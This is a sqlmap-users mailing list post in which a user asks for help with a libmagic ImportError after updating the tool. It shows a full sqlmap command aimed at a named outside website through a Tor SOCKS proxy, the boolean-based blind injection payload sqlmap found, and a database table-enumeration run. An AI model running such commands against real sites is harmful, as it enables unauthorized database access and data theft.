Hello,
check at this:
sqlmap was working:
sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u
"http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10";
--proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
dassad33_kjd7sadh --random-agent
sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program
[*] starting at 14:00:14
[14:00:14] [INFO] fetched random HTTP User-Agent header from file
'/Volumes/EXTRA SPACE/tools/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0
(Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203
AskTbCDS/3.9.1.14019 Firefox/3.6.13
[14:00:15] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:00:15] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Place: GET
Parameter: filter_searchResults
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007)
AND 4775=4775 AND
(4447=4447&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY,TEXT&a_name=search_1&customrpp=10
---
[14:00:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ColdFusion, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
I updated:
sast-iMac:sqlmap-dev sast$
sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py --update
sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program
[*] starting at 14:00:34
[14:00:34] [INFO] updating sqlmap to the latest development version from the
GitHub repository
[14:00:34] [INFO] update in progress .......
[14:00:41] [INFO] updated to the latest revision '54752a9'
[*] shutting down at 14:00:41
and now with the same command i get errors:
sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u
"http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10";
--proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
dassad33_kjd7sadh --random-agent
Traceback (most recent call last):
File "./sqlmap.py", line 15, in <module>
from _sqlmap import main
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in <module>
from lib.controller.controller import start
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/controller.py",
line 11, in <module>
from lib.controller.action import action
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", line
8, in <module>
from lib.controller.handler import setHandler
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", line
8, in <module>
from lib.core.common import Backend
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line 133, in
<module>
from thirdparty.magic import magic
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", line
132, in <module>
raise ImportError('failed to find libmagic. Check your installation')
ImportError: failed to find libmagic. Check your installation
sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u
"http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10";
--proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
dassad33_kjd7sadh --random-agent
Traceback (most recent call last):
File "./sqlmap.py", line 15, in <module>
from _sqlmap import main
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in <module>
from lib.controller.controller import start
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/controller.py",
line 11, in <module>
from lib.controller.action import action
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", line
8, in <module>
from lib.controller.handler import setHandler
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", line
8, in <module>
from lib.core.common import Backend
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line 133, in
<module>
from thirdparty.magic import magic
File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", line
132, in <module>
raise ImportError('failed to find libmagic. Check your installation')
ImportError: failed to find libmagic. Check your installation
sast-iMac:sqlmap-dev sast$
any ideas?
thanks------------------------------------------------------------------------------
LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
Remotely access PCs and mobile devices and provide instant support
Improve your efficiency, and focus on delivering more value-add services
Discover what IT Professionals Know. Rescue delivers
http://p.sf.net/sfu/logmein_12329d2d
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
